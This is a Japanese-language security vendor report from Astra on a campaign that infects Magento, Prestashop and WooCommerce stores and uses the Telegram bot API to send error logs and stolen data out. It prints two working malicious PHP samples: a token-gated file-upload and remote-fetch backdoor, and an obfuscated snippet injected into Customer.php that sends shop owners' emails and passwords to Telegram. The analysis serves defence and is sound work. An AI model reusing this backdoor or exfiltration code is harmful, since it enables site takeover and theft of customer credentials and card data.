ハッカーがTelegramを悪用し、ECサイト感染用マルウェアを遠隔操作――Astraセキュリティレポート

当社のセキュリティエンジニアは、ハッカーたちが広く利用されている暗号化メッセージアプリ「Telegram」を悪用し、マルウェアキャンペーンのエラーログや、侵入に成功したWebサイトから窃取した機密情報を受け取っている攻撃キャンペーンを確認しました。

Telegram経由でハッカーに送信されるエラーログや機密情報は、マルウェアがWebサイトに正しく設置できたかどうかを確認するために使われています。また、設置に成功した場合は、被害者の機密情報が特定のTelegramアカウントやチャンネルへ送信されます。この攻撃キャンペーンでは、Magento、Prestashop、WooCommerceのストアが主な標的となっています。

多数のサイトが標的に

セキュリティプロバイダーとして、私たちは日々ビジネスに被害をもたらす最新のサイバー脅威やマルウェアキャンペーンを継続的に監視しています。今回のTelegramマルウェアキャンペーンでは、Magento、Prestashop、WooCommerceをはじめとする多数のCMSが標的となっていることが判明しました。

通常、ハッカーはWebサイトに侵入してクレジットカード情報などの機密データを入手すると、自らのサーバーへAPI呼び出しを行ったり、メールで情報を送信したりします。

しかしこのケースでは、API呼び出しや特定のメールアドレスへの送信の代わりに、脅威アクターはTelegramのAPIを使って特定のTelegramアカウント(ID)やチャンネルへデータを送信しています。これはサーバーIPの追跡回避やブラックリスト登録の回避を目的としたもので、セキュアなTelegramという媒体を通じてエラーログや窃取データを取得しています。

Magentoサイトからマルウェアのエラーログを収集するハッカー

Ananda Krishna率いる当社の調査チームは、このTelegramマルウェアキャンペーンの分析の中で、ハッカーがMagentoベースのサイトにシェルスクリプトを積極的に仕掛け、ファイルの無制限アップロードや機密情報の窃取を行っていることを発見しました。マルウェア設置の過程でエラーが発生すると、そのエラーはデバッグ目的でハッカーのTelegramアカウントやチャンネルに送信されます。

関連記事:乗っ取られたMagentoストアの修復方法

さらに調査を進めた結果、研究者たちはハッカーがWebサイト内に悪意のあるバックドアを作成し、ファイルの作成とコード実行を可能にしていたことを突き止めました。ハッカーは任意のURLをバックドアスクリプトに送信でき、スクリプトはそのURLからファイルをダウンロードして侵害されたサーバー上に保存します。この一連のプロセスの各段階で、あるいはエラー発生時には、バックドアスクリプトがTelegramメッセージを通じてハッカーへリアルタイムで状況を報告します。

ハッカーは悪意のあるファイル名を$_POST['name']変数に、悪意のあるファイルのURLを$_POST['content']変数に格納して送信します。

以下は、当社のマルウェアスキャナーが検知した、侵害されたサイトから見つかった悪意のあるスクリプトの一例です。

ハッカーは$_POST['name'] = evil.php および $_POST['content'] = example.com/moreMaliciousCode.txt というリクエストを送信します。するとバックドアスクリプトは、example.com/moreMaliciousCode.txt の内容を持つ evil.php というファイルをサーバー上に作成します。その後、ハッカーは compromised-site.com/evil.php にアクセスして悪意のあるコードを実行します。

一部のサイトでは、ハッカーがこのバックドアスクリプトを使って「File Manager」スクリプトや「Adminer」などのデータベース管理ツールを作成しているのが確認されています。こうしたツールにより、ハッカーはサーバー上のすべてのファイルの閲覧・編集・削除が可能になるうえ、パスワード、メールアドレス、クレジットカード番号といった機密性の高い個人情報(PII)を含むWebサイトのデータベースへの完全なアクセス権を得ることができます。

悪意のあるコードの抜粋:

<?php
           try{
                if($_POST['action']=="wp_ajax_try_2020_v2"){
                    if(!empty ($_FILES['file']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
                      if(function_exists("move_uploaded_file")){
                        @move_uploaded_file($_FILES['file']['tmp_name'],"../".$_FILES['file']['name']);
                        echo " file name : ".$_FILES['file']['name'];
                     }else{
                        die("no move_upload_file");
                     }                         
                    }else{
                        die(0);
                    }                    
                    exit();
                }
                if($_POST['action']=="wp_ajax_try_2020_v3"){
                    if(!empty ($_POST['content']) and md5(md5(md5($_POST['token_admin'])))=="7ccda4acaa2341a049350d96fe88393b"){
                        if(function_exists("file_get_contents")){
                         $html=file_get_contents($_POST['content']);
                          $save=fopen($_POST['name'],"w");
                          fwrite($save,$html);
                          fclose($save);
                        }else{
                          die("no file_get_contents");
                        }                            
                    }else{
                        die(0);
                    }                    
                    exit();
                }            
            }catch (Exception $e) {
                if(function_exists("file_get_contents")){
                    try{
                        file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($_SERVER['REMOTE_ADDR']."  error wp")."" );
                        file_get_contents("https://api.telegram.org/bot1234572065:AAGxojnCQEsIMuofDuQHaM-8wnM2VkYOMO4/sendMessage?chat_id=1110165405&text=" . urlencode($e)."" );
                    }catch (Exception $e2) {}
                }                
            }
        ?>

Prestashopサイトから情報を窃取するハッカー

Magentoサイトと同様に、ハッカーはPrestashopサイトも標的にしており、Telegram APIを利用してサイトオーナーの機密情報を自身のTelegramアカウントやチャンネルへ送信しています。

今回のケースでは、研究者たちはハッカーが classes/Customer.php 内の「メールアドレスによる顧客情報取得機能」を迂回し、サイトオーナーのメールアドレスとパスワードをTelegramアカウントやチャンネルへ送信する悪意のあるコードを埋め込んでいたことを確認しました。

この攻撃グループは「B4JAT4X」と呼ばれていると考えられます(以下のコードサンプルに記載):

 if(isset($passwd)){
        $passwordbaja=$passwd;
        }elseif(isset($plaintextPassword)){
        $passwordbaja=$plaintextPassword;
        }
        $djskfhsdfdjknjksnfjksfds = "------+| [ B" . "4" . "J" . "A" . "T" . "4" . "X ] |+-----\n";
        $djskfhsdfdjknjksnfjksfds .= $email.":".$passwordbaja.":".$_SERVER['REMOTE_ADDR'].":".$_SERVER['SERVER_NAME']."\n";
        file_get_contents("https://"."ap"."i".".tel"."egr"."am".".org"."/bot1"."211"."998273".":AAHft2yajX"."qGoX3y_"."K3lfPernQ"."DPbtspu3g"."/sendMessa"."ge?chat_id="."11101654"."05&text=" .
        urlencode($djskfhsdfdjknjksnfjksfds)."" );

Prestashopサイトにユーザーのクレジットカード情報を保存している場合、機密性の高い顧客情報が盗まれる恐れがあります。ハッカーは盗み出したパスワードで被害者のサイトにログインし、すべての情報を閲覧できてしまうのです。

Webセキュリティの課題

サイバー脅威の状況がインターネット全体の混乱へと一歩近づくなか、ハッカーはオンラインビジネスを壊滅させるための新手法を積極的に模索しています。このようなサイバー攻撃によって企業が被害を受けると、PII(個人情報)の漏洩やGDPR違反にも発展しかねません。

今月初めには、Malwarebytesも、Webサイトからクレジットカードデータを窃取し、Telegramメッセンジャー経由でハッカーへ送信するWebスキマー(カード情報窃取コード)を発見しています。

このTelegramマルウェアキャンペーンからWebサイトを守るためには、ネットワークレベルでTelegramへのすべての接続をブロックすること、またはWebアプリケーションファイアウォール(WAF)を導入することが推奨されます。これにより、サイトをこの種の攻撃から確実に保護し、ハッカーによる機密データの窃取を防ぐことができます。

Astraのアプリケーションファイアウォールをご利用いただいている場合、この攻撃をはじめ、SQLインジェクション(SQLi)、XSS、CSRF、LFI、RFI、クレジットカードハッキング、スパム、悪質なボットなどのサイバー攻撃や脆弱性からすでに保護されています。

さらに、Astraの機械学習搭載マルウェアスキャナーは、Webサイトを定期的に自動スキャンし、サイト内の未知の要素や異常をすべて検知します。これには、新しい悪意のあるファイルの追加や既存ファイルの改ざんなども含まれます。Astraのマルウェアスキャナーの「ファイル差分表示」機能を使えば、ダッシュボードからすべての変更内容を確認でき、ボタンひとつで悪意のあるファイルを削除することも可能です。

セキュリティ専門家は長年、Webサイトの安全を守る重要な対策として定期的なマルウェアスキャンを推奨してきました。今こそ、適切なセキュリティ対策でWebサイトを強化し、常に保護された状態を維持しましょう。